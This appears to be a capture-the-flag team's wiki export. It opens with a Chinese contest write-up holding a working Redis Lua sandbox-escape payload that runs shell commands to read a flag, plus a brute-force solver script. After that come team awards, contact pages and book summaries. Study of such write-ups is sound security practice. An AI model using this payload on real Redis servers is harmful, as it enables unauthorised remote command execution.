+eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
+
+题目环境和版本完美符合,不需要改lib路径,放到上一题的请求后边就可以RCE
+{"query":"SET 114514 1919810\nGET 114514\neval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG", "r"); local res = f:read("*a"); f:close(); return res' 0"}
+
+~~(隔壁某show平台上周刚做过类似的题,于是很快就把字典搞出来了,但是交互写了很久丢掉了一血)~~
+思路就是找一个有优势的固定词开头,然后根据返回结果分枝(枝),根据不同枝选择不同的尝试(剪枝,但是其实是只处理一枝),这样接下来要处理的重复量就少很多,重复这个过程两次,几乎每一个可能的词都有对应序列了。
+简单统计一下生母韵母音调的频率,但是依据这个找出比较常见的词跑三轮之后会有400+个重复的路线,也就是这400+个词如果抽到大概率失败,算一下成功率pow(1-400/26000,512)
是恐怖的万分之三,于是random choice字典里的词开始跑,最后找到 露己扬才 只有一百多重复,成功率pow(1-100/26000,512)
已经提升到了十分之一,决定多跑几次出flag。
+P.S.因为成功之后就没有 > 输出了,所以边界条件炸了,在第512轮强制进交互赌第二轮出结果。
首先是生成字典的函数,kk是第一个固定的开头词,根据每次返回的文本更新键值对,然后对有多个结果的key迭代延长,每次选择第一个可能的结果,最后的重复个数即为有可能失败的词的数量:
+# 其余内容和源代码完全一样,节省空间就不粘贴了
+with open('idioms.txt', 'r', encoding='utf8') as f: # utf8
+ idioms = [x.strip() for x in f.readlines()]
+
+def check(guess, answer): # 魔改的check,改返回值为输出内容 方便到时候直接用服务器返回内容更新
+ guesspy = get_pinyin(guess)
+ answerpy = get_pinyin(answer)
+ r = ""
+ py_results = [check_part(guesspy[i], answerpy[i]) for i in range(3)]
+ for i in range(4):
+ for j in range(3):
+ r += (wrap_color(guesspy[j][i], py_results[j][i]))
+ r += ' '
+ r += '\n'
+ results = check_part(guess, answer)
+ for i in range(4):
+ r += wrap_color(guess[i], results[i])
+ r += '\n'
+ return r.encode(), r
+
+def gen(kk):
+ d = {}
+ dup = []
+ for i in idioms:
+ s = check(kk, i)[0]
+ if s in d.keys():
+ d[s].append(i) # 其实这里用s的哈希也是可以的,但是不方便debug,而且提速不明显
+ dup.append(s)
+ else:
+ d[s] = [i]
+ print(f'finish init round1 with {len(dup)} dup.')
+ dup = set(dup)
+ dup2 = []
+ for i in dup:
+ for j in d[i]:
+ s = check(d[i][0], j)[0]
+ if s in d.keys():
+ d[s].append(j)
+ dup2.append(s)
+ else:
+ d[s] = [j]
+ print(f'finish init round2 with {len(dup2)} dup.')
+ dup2 = set(dup2)
+ dup3 = []
+ for i in dup2:
+ for j in d[i]:
+ s = check(d[i][0], j)[0]
+ if s in d.keys():
+ d[s].append(j)
+ dup3.append(s)
+ else:
+ d[s] = [j]
+ print(f'finish init round3 with {len(dup3)} dup.')
+ return d
+
+while True:
+ s=random.choice(idioms) # 因为遍历不完,连续的词特征重复性高,所以随机抽了
+ print(s)
+ d = gen(s) # 如果第三个结果能小于200就能用了,多跑几轮肯定能拿到flag
+ list3_file = open('list3.pickle', 'wb1')
+ pickle.dump(d, list3_file)
+ list3_file.close()
+
+然后是多次尝试的利用脚本
+list3_file = open('list3.pickle', 'rb') # 上边生成的
+d = pickle.load(list3_file)
+# context.log_level = 'debug'
+
+while True:
+ try:
+ p = remote("120.77.30.1", 48771)
+ p.recvuntil(b"> ")
+ for r in range(512):
+ print(r)
+ p.sendline('露己扬才'.encode())
+ res = p.recvuntil(b"> ")
+ while b'Round' not in res:
+ s = res[:-2]
+ p.sendline(d[s][0])
+ if r == 511:
+ p.interactive() # 边界条件炸了,在第512轮强制进交互赌第二轮出结果
+ res = p.recvuntil(b"> ")
+ except:
+ time.sleep(1)
+
+p.interactive()
+
+因为疫情不在学校,交互提速的小trick就是去IP所在地租个服务器,比如这里租个广东的阿里云或者腾讯云的服务器,交互飞快,几秒跑一轮,体验如同本地一般。
+RE的2048完美还原了js,找到了后门函数和魔改的TEA加密还有换表的base64。
+但是对四个native方法的逆向没有完成,静态绑定的两个方法勉强能看,check和pre两个动态方法就找不到符号了。
+本地没准备好ARM环境上不了动态,被so的OLLVM爆杀,遗憾放弃。
PWN的签到babaygame泄露出rbp-4不知道能做什么,随机数比较好模拟,但是格式化字符串只能利用一次。
+按之前的知识需要第一次泄露libc地址比如__libc_start_main+243,第二次写返回地址为gadget或者system,需要两次。
+然后想能不能覆写ret的低位短跳一下重复执行格式化字符串的函数,然后就是常规思路了。
+或者也可以暴力爆PIE,但是这两个思路都没来得及实现。
总之还是有不少遗憾的,这两题再出一题就能公费旅游了(大概)。 +不过第一次和全国几乎所有顶级强队竞技能拿到这样的排名也是一大进步了,考虑到前边还有清北复浙交北邮中科大国科大,我们高校组排名好像还不错(逃)
+ + + + + + + + +The COMPASS CTF team has participated in various competitions since 2021. In most of the competitions, we have achieved great ranks, while some of them aren't.
+This file is an archive of all the competitions we joined. Both great ones and normal ones are collected here.
+Competition | +Time | +Rank | +
---|---|---|
2022广东省赛(决赛) | +Apr 15, 2023 | +总排名#1🥇 特等奖 | +
2023全国大学生信息安全竞赛(全国总决赛) | +Jul 26, 2023 | +总排名#20 一等奖 | +
2023全国大学生信息安全竞赛(华南半决赛) | +Jun 24, 2023 | +总排名#8 一等奖 晋级决赛 | +
2022网鼎杯(半决赛) | +Apr 14, 2023 | +青龙组#21/总排名#51 | +
+
++
++
+Competition | +Time | +Rank | +
---|---|---|
2022 春秋杯冬季赛 | +Dec 23, 2022 | +#1🥇 冠军 | +
2022 美团挑战赛 | +Sep 18, 2022 | +#19 | +
网鼎杯 2022 青龙(初赛) | +Aug 26, 2022 | +#7 入围半决赛 | +
巅峰极客 2022(决赛) | +Aug 24, 2022 | +#10 巅峰人才奖 | +
巅峰极客 2022(初赛) | +Aug 17, 2022 | +#12 入围决赛 | +
强网杯 2022 | +Jul 30, 2022 | +#55 强网先锋奖 | +
DiceCTF 2022 | +Jul 24, 2022 | +#21 | +
广东省赛 2022(初赛) | +Mar 21, 2022 | +#9 入围决赛 | +
虎符CTF 2022 | +Mar 19, 2022 | +#36 | +
ECTF 2022 | +Mar 05, 2022 | +#31 | +
CODEGATE 2022 | +Feb 26, 2022 | +#29 | +
TQLCTF 2022 | +Feb 19, 2022 | +#37 | +
VU CYBERTHON 2022 | +Feb 18, 2022 | +#78 | +
DefCamp 2022 | +Feb 11, 2022 | +#194 | +
Real World CTF | +Jan 21, 2022 | +#159 | +
KnightCTF 2022 | +Jan 20, 2022 | +#140 | +
+
++
++
+COMPASS CTF is a CTF team belonging to the Southern University of Science and Technology (SUSTech). Our members are from the COMPASS lab.
+Visit our lab website: COMPASS
++
COMPASS CTF 在成立短短两年时间内获得多项国家级和省级网络安全比赛奖项,包括全国大学生信息安全竞赛一等奖、广东大学生网络安全攻防大赛特等奖(冠军),“巅峰极客”挑战赛“巅峰人才奖”(¥10000),春秋杯冠军等。
+If you are interested, join our meeting channel: https://meeting.tencent.com/p/4484894504
+Weekly training: every week we would have trained together that let us learn and share information about CTF. The training time is 2 pm, Saturday.
+If you want to participate CTFs or join us, please feel free to contact us if you satisfy the following requests:
+If you are interested, please send to Email address: liz33#mail.sustech.edu.cn
+It's highly recommended to pull requests about new content and anything you find useful for Wiki.
+Our docs are based on the GitHub pages and MkDocs engine, use markdown to format our website. Modify a new file and pull it to the repository. We highly appreciate your contribution!
+ + + + + + + + +From the spring of 2021, we start to form the COMPASS CTF team. Our passion team us together and we grow to be experienced CTF and computer security engineers.
+Let's walk together and achieve further.
+ + + + +We also have some members already finished their career in the CTF. We had a great time together, and hope you have better future!
+Previous members of COMPASS CTF:
+ + + + + + + + + + + +COMPASS Lab Website: http://compass.sustech.edu.cn/
+COMPASS CTF Challenge Page: http://detroit.sustech.edu.cn/
+SUSTech CSE Website: https://cse.sustech.edu.cn/
+COMPASS CTF QQ Group: 787427165
+COMPASS CTF WeChat Group: Please contact me to get the invitation link.
+COMPASS CTF Discord Channel: https://discord.gg/E9UtxCD6
+Feel free to join our weekly meeting if you are interested in the CTF or our training schedule.
+During the meeting, we would use Mandarin to discuss, but all the members of our team can talk English as well :)
+Ander invites you to join Ander's personal meeting room
+Click on the link to join the meeting directly at
+https://meeting.tencent.com/p/4484894504
+
+#tencentconference: 448-489-4504
+
+Copy this message and open the mobile Tencent meeting to participate
+
+COMPASS CTF is a CTF team belonging to the Southern University of Science and Technology (SUSTech). Our members are from the COMPASS lab.
Visit our lab website: COMPASS
COMPASS CTF \u5728\u6210\u7acb\u77ed\u77ed\u4e24\u5e74\u65f6\u95f4\u5185\u83b7\u5f97\u591a\u9879\u56fd\u5bb6\u7ea7\u548c\u7701\u7ea7\u7f51\u7edc\u5b89\u5168\u6bd4\u8d5b\u5956\u9879\uff0c\u5305\u62ec\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u4e00\u7b49\u5956\u3001\u5e7f\u4e1c\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5927\u8d5b\u7279\u7b49\u5956\uff08\u51a0\u519b\uff09\uff0c\u201c\u5dc5\u5cf0\u6781\u5ba2\u201d\u6311\u6218\u8d5b\u201c\u5dc5\u5cf0\u4eba\u624d\u5956\u201d\uff08\uffe510000\uff09\uff0c\u6625\u79cb\u676f\u51a0\u519b\u7b49\u3002
"},{"location":"#activities","title":"Activities","text":"If you are interested, join our meeting channel: https://meeting.tencent.com/p/4484894504
Weekly training: every week we would have trained together that let us learn and share information about CTF. The training time is 2 pm, Saturday.
If you want to participate CTFs or join us, please feel free to contact us if you satisfy the following requests:
If you are interested, please send to Email address: liz33#mail.sustech.edu.cn
"},{"location":"#contribute-to-the-wiki","title":"Contribute to the Wiki","text":"It's highly recommended to pull requests about new content and anything you find useful for Wiki.
Our docs are based on the GitHub pages and MkDocs engine, use markdown to format our website. Modify a new file and pull it to the repository. We highly appreciate your contribution!
"},{"location":"award/","title":"Competition Awards","text":"The COMPASS CTF team has participated in various competitions since 2021. In most of the competitions, we have achieved great ranks, while some of them aren't.
This file is an archive of all the competitions we joined. Both great ones and normal ones are collected here.
"},{"location":"award/#2023","title":"2023","text":"Competition Time Rank 2022\u5e7f\u4e1c\u7701\u8d5b\uff08\u51b3\u8d5b\uff09 Apr 15, 2023 \u603b\u6392\u540d#1\ud83e\udd47 \u7279\u7b49\u5956 2023\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\uff08\u5168\u56fd\u603b\u51b3\u8d5b\uff09 Jul 26, 2023 \u603b\u6392\u540d#20 \u4e00\u7b49\u5956 2023\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\uff08\u534e\u5357\u534a\u51b3\u8d5b\uff09 Jun 24, 2023 \u603b\u6392\u540d#8 \u4e00\u7b49\u5956 \u664b\u7ea7\u51b3\u8d5b 2022\u7f51\u9f0e\u676f\uff08\u534a\u51b3\u8d5b\uff09 Apr 14, 2023 \u9752\u9f99\u7ec4#21/\u603b\u6392\u540d#51"},{"location":"award/#2023_1","title":"2023\u56fd\u8d5b\u5168\u56fd\u603b\u51b3\u8d5b","text":""},{"location":"award/#2023_2","title":"2023\u56fd\u8d5b\u534e\u5357\u534a\u51b3\u8d5b","text":""},{"location":"award/#-","title":"\u7b2c\u4e8c\u5c4a\u5e7f\u4e1c\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5927\u8d5b-\u51b3\u8d5b","text":""},{"location":"award/#2022","title":"2022","text":"Competition Time Rank 2022 \u6625\u79cb\u676f\u51ac\u5b63\u8d5b Dec 23, 2022 #1\ud83e\udd47 \u51a0\u519b 2022 \u7f8e\u56e2\u6311\u6218\u8d5b Sep 18, 2022 #19 \u7f51\u9f0e\u676f 2022 \u9752\u9f99\uff08\u521d\u8d5b\uff09 Aug 26, 2022 #7 \u5165\u56f4\u534a\u51b3\u8d5b \u5dc5\u5cf0\u6781\u5ba2 2022\uff08\u51b3\u8d5b\uff09 Aug 24, 2022 #10 \u5dc5\u5cf0\u4eba\u624d\u5956 \u5dc5\u5cf0\u6781\u5ba2 2022\uff08\u521d\u8d5b\uff09 Aug 17, 2022 #12 \u5165\u56f4\u51b3\u8d5b \u5f3a\u7f51\u676f 2022 Jul 30, 2022 #55 \u5f3a\u7f51\u5148\u950b\u5956 DiceCTF 2022 Jul 24, 2022 #21 \u5e7f\u4e1c\u7701\u8d5b 2022\uff08\u521d\u8d5b\uff09 Mar 21, 2022 #9 \u5165\u56f4\u51b3\u8d5b \u864e\u7b26CTF 2022 Mar 19, 2022 #36 ECTF 2022 Mar 05, 2022 #31 CODEGATE 2022 Feb 26, 2022 #29 TQLCTF 2022 Feb 19, 2022 #37 VU CYBERTHON 2022 Feb 18, 2022 #78 DefCamp 2022 Feb 11, 2022 #194 Real World CTF Jan 21, 2022 #159 KnightCTF 2022 Jan 20, 2022 #140"},{"location":"award/#2022_1","title":"\u6625\u79cb\u676f 2022 \u51ac\u5b63\u8d5b","text":""},{"location":"award/#2022_2","title":"\u7f51\u9f0e\u676f 2022","text":""},{"location":"award/#2022_3","title":"\u5dc5\u5cf0\u6781\u5ba2 2022","text":""},{"location":"award/#2022_4","title":"\u5f3a\u7f51\u676f 2022","text":""},{"location":"award/#dicectf-2022","title":"DiceCTF 2022","text":""},{"location":"award/#2022_5","title":"\u5e7f\u4e1c\u7701\u8d5b\u521d\u8d5b 2022","text":""},{"location":"award/#ctf-2022","title":"\u864e\u7b26CTF 2022","text":""},{"location":"award/#knightctf-2022","title":"KnightCTF 2022","text":""},{"location":"award/#vu-cyberthon-2022","title":"VU CYBERTHON 2022","text":""},{"location":"award/#tqlctf-2022","title":"TQLCTF 2022","text":""},{"location":"award/#codegate-2022","title":"CODEGATE 2022","text":""},{"location":"award/#ectf-2022","title":"ECTF 2022","text":""},{"location":"member/","title":"Members","text":"From the spring of 2021, we start to form the COMPASS CTF team. Our passion team us together and we grow to be experienced CTF and computer security engineers.
Let's walk together and achieve further.
We also have some members already finished their career in the CTF. We had a great time together, and hope you have better future!
Previous members of COMPASS CTF:
"},{"location":"related/","title":"Related Links","text":"COMPASS Lab Website: http://compass.sustech.edu.cn/
COMPASS CTF Challenge Page: http://detroit.sustech.edu.cn/
SUSTech CSE Website: https://cse.sustech.edu.cn/
"},{"location":"related/#our-discussion-and-chat-channels","title":"Our Discussion and Chat Channels","text":"COMPASS CTF QQ Group: 787427165
COMPASS CTF WeChat Group: Please contact me to get the invitation link.
COMPASS CTF Discord Channel: https://discord.gg/E9UtxCD6
"},{"location":"related/#weekly-meeting-link","title":"Weekly Meeting Link","text":"Feel free to join our weekly meeting if you are interested in the CTF or our training schedule.
During the meeting, we would use Mandarin to discuss, but all the members of our team can talk English as well :)
Ander invites you to join Ander's personal meeting room\nClick on the link to join the meeting directly at\nhttps://meeting.tencent.com/p/4484894504\n\n#tencentconference: 448-489-4504\n\nCopy this message and open the mobile Tencent meeting to participate\n
"},{"location":"related/#blog-and-friend-links","title":"Blog and Friend-Links","text":""},{"location":"Book/CTF%20Competition%20Starter%20Guide/","title":"CTF Competition Starter Guide","text":"Highly recommended! A beginner's guide!
This book is mainly for CTF beginners, focusing on Linux binary security. The book contains 12 chapters, starting from the bottom of the binary, combined with the source code detailed analysis of common binary security vulnerabilities, mitigation mechanisms and vulnerability exploitation methods, and supplemented with analysis tools and environment building explanation, step by step, so that readers can learn systematically. The book is more continuous and complete in the selection of content and materials, each knowledge point with classic examples, and spend a lot of space to explain, in order to restore the maximum extent of the analysis of ideas and solution process, to achieve the effect of the three.
"},{"location":"Book/CTF%20Competition%20Starter%20Guide/#link","title":"Link","text":"Read it online: https://firmianay.gitbooks.io/ctf-all-in-one/content/
GitHub address: https://github.com/firmianay/CTF-All-In-One
"},{"location":"Book/From%200%20to%201%20The%20CTFer%20Growth%20Path/","title":"From 0 to 1: The CTFer Growth Path","text":"Recommend and be done with it, Nu1L yyds!
Jingdong buy: https://item.jd.com/12988770.html
"},{"location":"Book/Computer%20and%20System/Android%20Dalvik%20virtual%20machine%20structure%20and%20mechanism%20anatomy/","title":"Android Dalvik virtual machine structure and mechanism analysis","text":"Author: Wu Yanxia / Zhang Guoyin
"},{"location":"Book/Computer%20and%20System/Android%20Dalvik%20virtual%20machine%20structure%20and%20mechanism%20anatomy/#overview","title":"Overview","text":"This book is a scenario-based in-depth analysis of Android source code, with extensive contents, mainly from the overall structure of Dalvik virtual machine, obtaining and compiling the source code of Dalvik virtual machine, using source code analysis aids, parsing .dex files and Dalvik bytecode format, introducing the system tools under Dalvik virtual machine and executing Dalvik virtual machine. This article is intended to help readers understand the architecture of the Dalvik VM from a macro perspective, and to provide readers interested in reading the source code of the Dalvik VM with the necessary introductory guidance.
"},{"location":"Book/Computer%20and%20System/Android%20Dalvik%20virtual%20machine%20structure%20and%20mechanism%20anatomy/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Android%20Internals/","title":"Android Internals: Power User's View","text":"Author: Jonathan Levin (Author)
"},{"location":"Book/Computer%20and%20System/Android%20Internals/#overview","title":"Overview","text":"Android Internals::A Confectioner's Cookbook is the first time the inner workings of the world's most popular operating system have been documented! Without going into the lengthy code, it presents the logic and flow of Android's various components using detailed illustrations, verbose annotations and hands-on experiments! Volume I takes the power user's point of view - the utilities and functionality accessible through adb shell. In particular, we explore: Partitions and Filesystems The Boot Process Init and its configuration files The native daemons in /system/bin The framework service architecture and servicemanager, Monitoring through Linux interfaces, and of course Security. All versions of Android - up to and including the upcoming Nougat - are covered, with examples taken from the wide gamut of Android Devices - Nexi, Samsung Galaxy S series, NVidia Shield, Amazon Kindle, HTC One M9, and the Android Emulator. This is the first in a multi-volume series, aiming to explore Android down to its last class. Stay tuned for Volume II - The Programmer's View - which picks up where the Power User's View ends, and dives deeper still into the frameworks, input, audio, video and network architecture... wading through the inevitable quagmire of code.
"},{"location":"Book/Computer%20and%20System/Android%20Internals/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Android%20system%20source%20code%20scenario%20analysis/","title":"Android System Source Code Scenario Analysis","text":"Author: Luo Shengyang
"},{"location":"Book/Computer%20and%20System/Android%20system%20source%20code%20scenario%20analysis/#overview","title":"Overview","text":"In terms of content, this book provides a comprehensive, in-depth and detailed analysis of the Android system source code, including the Linux kernel layer, hardware abstraction layer (HAL), runtime library layer (Runtime), application framework layer (Application Framework) and application layer (Application).
In terms of organization, this book divides the above contents into three major chapters, namely, the first acquaintance with Android system, Android-specific driver system and Android application framework. The chapter of Android system introduces reference books, basic knowledge and experimental environment construction; the chapter of Android special driver system introduces Logger log driver, Binder inter-process communication driver and Ashmem anonymous shared memory driver; the chapter of Android application framework introduces the framework of Android application in four dimensions: component, process, message and installation. The Android application framework chapter provides an in-depth analysis of the framework of Android applications in four dimensions: components, processes, messages and installation.
Through the above contents and their organization, this book enables readers to grasp the hierarchy of Android system as a whole and master the key points of each level in detail.
"},{"location":"Book/Computer%20and%20System/Android%20system%20source%20code%20scenario%20analysis/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Code%20Reveal/","title":"Code Reveal","text":"Author: Zuo Fei
"},{"location":"Book/Computer%20and%20System/Code%20Reveal/#overview","title":"Overview","text":"This book is written from the programming point of view, using C/C++ as the descriptive language and Visual C++ as the formal tool, to explain the mechanisms and knowledge about computer composition principles and computer operating systems hidden behind the code, not only to let the reader know the facts, but also to let the reader know the reasons. This knowledge is then applied to programming practice to help readers write high-quality code that is more suitable for machine optimization. Uncovering the little-known secrets behind the code, specifically, the book discusses a variety of topics including the underlying computer coding, memory and pointers, computer instructions and code systems, the mechanism of function calls, multi-level storage systems, the concept of threads and processes, and code optimization.
"},{"location":"Book/Computer%20and%20System/Code%20Reveal/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Code/","title":"Code: The Hidden Language of Computer Hardware and Software","text":"Author: Charles Petzold
"},{"location":"Book/Computer%20and%20System/Code/#content","title":"Content","text":"Petzold begins Code by discussing older technologies like Morse code, Braille, and Boolean logic, which he uses to explain vacuum tubes, transistors, and integrated circuits. He noted that \"very smart people\" had to go down the \"dead ends\" of mechanical computers and decimal computing before reaching a scalable solution\u2014namely, the electronic, binary computer with a von Neumann architecture. The book also covers more recent developments, including topics like floating point math, operating systems, and ASCII.
The book focuses on \"pre-networked computers\" and does not cover concepts like distributed computing because Petzold thought that it would not be as useful for \"most people using the Internet\", his intended audience. Specifically, he said in an interview that his \"main hope\" in writing Code was to impart upon his readers a \"really good feeling for what a bit is, and how bits are combined to convey information\".
"},{"location":"Book/Computer%20and%20System/Code/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Computer%20Systems/","title":"Computer Systems: A Programmer's Perspective","text":"Author: Randal Bryant (Author), David O'Hallaron (Author)
"},{"location":"Book/Computer%20and%20System/Computer%20Systems/#overview","title":"Overview","text":"This book (CS:APP3e) is the third edition of a book that stems from the introductory computer systems course we developed at Carnegie Mellon University, starting in the Fall of 1998, called \"Introduction to Computer Systems\" (ICS). The presentation is based on the following principles, which aim to help the students become better programmers and to help prepare them for upper-level systems courses:
Students should be introduced to computer systems from the perspective of a programmer, rather from the more traditional perspective of a system implementer. What does this mean?
Students should get a view of the complete system, comprising the hardware, operating system, compiler, and network.
Students learn best by developing and evaluating real programs that run on real machines.
We cover data representations, machine level representations of C programs, processor architecture, program optimizations, the memory hierarchy, linking, exceptional control flow (exceptions, interrupts, processes, and Unix signals), virtual memory and memory management, system-level I/O, basic network programming, and concurrent programming. These concepts are supported by series of fun and hands-on lab assignments. See the manuscript Preface for more details.
"},{"location":"Book/Computer%20and%20System/Computer%20Systems/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/In-depth%20understanding%20of%20Android%20kernel%20design%20ideas/","title":"In-depth understanding of Android kernel design ideas","text":"Author: Lin Xuesen
"},{"location":"Book/Computer%20and%20System/In-depth%20understanding%20of%20Android%20kernel%20design%20ideas/#overview","title":"Overview","text":"In-depth Understanding of Android Kernel Design Ideas\" is suitable for Android 4.3 or above. The book starts from the basics of operating system, and comprehensively analyzes the implementation principle of core technologies in Android, such as process/thread, memory management, Binder mechanism, GUI display system, multimedia management, input system and so on. Most of the knowledge points in the book come from engineering project development, so it has strong practicality, and we hope to let readers \"know what they know, but also know what they know\". The book is divided into 4 chapters and 22 chapters, including compilation, system principle, application principle and system tools, which basically cover the knowledge required to participate in Android development, and guide readers through a large number of pictures and examples, in order to provide readers with a more understandable way of thinking outside the source code analysis as much as possible.
In-depth Understanding of Android Kernel Design Ideas is suitable for both Android system engineers and application development engineers to read and improve Android development ability. Readers can gain a deeper understanding of the Android system during the subtle learning process of \"In-depth Understanding of Android Kernel Design Ideas\", and apply the knowledge learned naturally to solve practical development problems.
"},{"location":"Book/Computer%20and%20System/In-depth%20understanding%20of%20Android%20kernel%20design%20ideas/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Linux%20Kernel%20Development/","title":"Linux Kernel Development","text":"Author: Robert Love (Author)
"},{"location":"Book/Computer%20and%20System/Linux%20Kernel%20Development/#book-description","title":"Book description","text":"Linux Kernel Development details the design and implementation of the Linux kernel, presenting the content in a manner that is beneficial to those writing and developing kernel code, as well as to programmers seeking to better understand the operating system and become more efficient and productive in their coding.
The book details the major subsystems and features of the Linux kernel, including its design, implementation, and interfaces. It covers the Linux kernel with both a practical and theoretical eye, which should appeal to readers with a variety of interests and needs.
The author, a core kernel developer, shares valuable knowledge and experience on the 2.6 Linux kernel. Specific topics covered include process management, scheduling, time management and timers, the system call interface, memory addressing, memory management, the page cache, the VFS, kernel synchronization, portability concerns, and debugging techniques. This book covers the most interesting features of the Linux 2.6 kernel, including the CFS scheduler, preemptive kernel, block I/O layer, and I/O schedulers.
The third edition of Linux Kernel Development includes new and updated material throughout the book:
Author: Jonathan Levin (Author)
"},{"location":"Book/Computer%20and%20System/Mac%20OS%20X%20and%20iOS%20Internals/#overview","title":"Overview","text":"Powering Macs, iPhones, iPads and more, OS X and iOS are becoming ubiquitous. When it comes to documentation, however, much of them are shrouded in mystery. Cocoa and Carbon, the application frameworks, are neatly described, but system programmers find the rest lacking. This indispensable guide illuminates the darkest corners of those systems, starting with an architectural overview, then drilling all the way to the core.
From architecture to implementation, this book is essential reading if you want to get serious about the internal workings of Mac OS X and iOS.
"},{"location":"Book/Computer%20and%20System/Mac%20OS%20X%20and%20iOS%20Internals/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Understanding%20the%20Linux%20Kernel/","title":"Understanding the Linux Kernel","text":"Author: Daniel P. Bovet (Author), Marco Cesati (Author)
"},{"location":"Book/Computer%20and%20System/Understanding%20the%20Linux%20Kernel/#overview","title":"Overview","text":"In order to thoroughly understand what makes Linux tick and why it works so well on a wide variety of systems, you need to delve deep into the heart of the kernel. The kernel handles all interactions between the CPU and the external world, and determines which programs will share processor time, in what order. It manages limited memory so well that hundreds of processes can share the system efficiently, and expertly organizes data transfers so that the CPU isn't kept waiting any longer than necessary for the relatively slow disks.
The third edition of Understanding the Linux Kernel takes you on a guided tour of the most significant data structures, algorithms, and programming tricks used in the kernel. Probing beyond superficial features, the authors offer valuable insights to people who want to know how things really work inside their machine. Important Intel-specific features are discussed. Relevant segments of code are dissected line by line. But the book covers more than just the functioning of the code; it explains the theoretical underpinnings of why Linux does things the way it does.
This edition of the book covers Version 2.6, which has seen significant changes to nearly every kernel subsystem, particularly in the areas of memory management and block devices. The book focuses on the following topics:
Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system.
"},{"location":"Book/Computer%20and%20System/Understanding%20the%20Linux%20Kernel/#cover","title":"Cover","text":""},{"location":"Book/Computer%20and%20System/Windows%20Internals/","title":"Windows Internals","text":"Author: Pavel Yosifovich (Author), Mark Russinovich (Author), David Solomon (Author), Alex Ionescu (Author)
"},{"location":"Book/Computer%20and%20System/Windows%20Internals/#overview","title":"Overview","text":"This book helps you:
The 7th edition was written by Pavel Yosifovich, Alex Ionescu, Mark Russinovich and David Solomon. New material has been added since the 6th edition (which covered Windows 7 and Windows Server 2008 R2). Since the 7th edition\u2019s part 2 is not yet available, the Windows Internals 6th edition (written by Mark Russinovich, David Solomon and Alex Ionescu) is an invaluable resource on missing topics from the first part of the 7th edition. These include system mechanisms, management mechanisms, networking, file systems, cache management and troubleshooting system crashes.
"},{"location":"Book/Computer%20and%20System/Windows%20Internals/#history-of-the-book","title":"History of the Book","text":"This is the seventh edition of a book that was originally called Inside Windows NT (Microsoft Press, 1992), written by Helen Custer (prior to the initial release of Microsoft Windows NT 3.1). Inside Windows NT was the first book ever published about Windows NT and provided key insights into the architecture and design of the system. Inside Windows NT, Second Edition (Microsoft Press, 1998) was written by David Solomon. It updated the original book to cover Windows NT 4.0 and had a greatly increased level of technical depth. Inside Windows 2000, Third Edition (Microsoft Press, 2000) was authored by David Solomon and Mark Russinovich. It added many new topics, such as startup and shutdown, service internals, registry internals, file-system drivers, and networking. It also covered kernel changes in Windows 2000, such as the Windows Driver Model (WDM), Plug and Play, power management, Windows Management Instrumentation (WMI), encryption, the job object, and Terminal Services. Windows Internals, Fourth Edition was the Windows XP and Windows Server 2003 update and added more content focused on helping IT professionals make use of their knowledge of Windows internals, such as using key tools from Windows Sysinternals and analyzing crash dumps.
Windows Internals, Fifth Edition was the update for Windows Vista and Windows Server 2008. It saw Mark Russinovich move on to a full-time job at Microsoft (where he is now the Azure CTO) and the addition of a new co-author, Alex Ionescu. New content included the image loader, user-mode debugging facility, Advanced Local Procedure Call (ALPC), and Hyper-V. The next release, Windows Internals, Sixth Edition, was fully updated to address the many kernel changes in Windows 7 and Windows Server 2008 R2, with many new hands-on experiments to reflect changes in the tools as well.
"},{"location":"Book/Computer%20and%20System/Windows%20Internals/#seventh-edition-changes","title":"Seventh Edition Changes","text":"Since this series\u2019 last update, Windows has gone through several releases, coming up to Windows 10 and Windows Server 2016. Windows 10 itself, being the current going-forward name for Windows, has had several releases since its initial Release-to-Manufacturing, or RTM, each labeled with a 4-digit version number indicating year and month of release, such as Windows 10, version 1703 that was completed in March 2017. The above implies that Windows has gone through at least 6 versions since Windows 7. Starting with Windows 8, Microsoft began a process of OS convergence, which is beneficial from a development perspective as well as for the Windows engineering team itself. Windows 8 and Windows Phone 8 had converged kernels, with modern app convergence arriving in Windows 8.1 and Windows Phone 8.1. The convergence story was complete with Windows 10, which runs on desktops/laptops, servers, XBOX One, phones (Windows Mobile 10), HoloLens, and various Internet of Things (IoT) devices. With this grand unification completed, the time was right for a new edition of the series, which could now finally catch up with almost half a decade of changes, in what will now be a more stabilized kernel architecture going forward. As such, this latest book covers aspects of Windows from Windows 8 to Windows 10, version 1703. Additionally, this edition welcomes Pavel Yosifovich as its new co-author.
"},{"location":"Book/Computer%20and%20System/Windows%20Internals/#cover","title":"Cover","text":""},{"location":"Book/Cryptography/Foundations%20of%20Cryptography/","title":"Foundations of Cryptography","text":"Author: Oded Goldreich (Author)
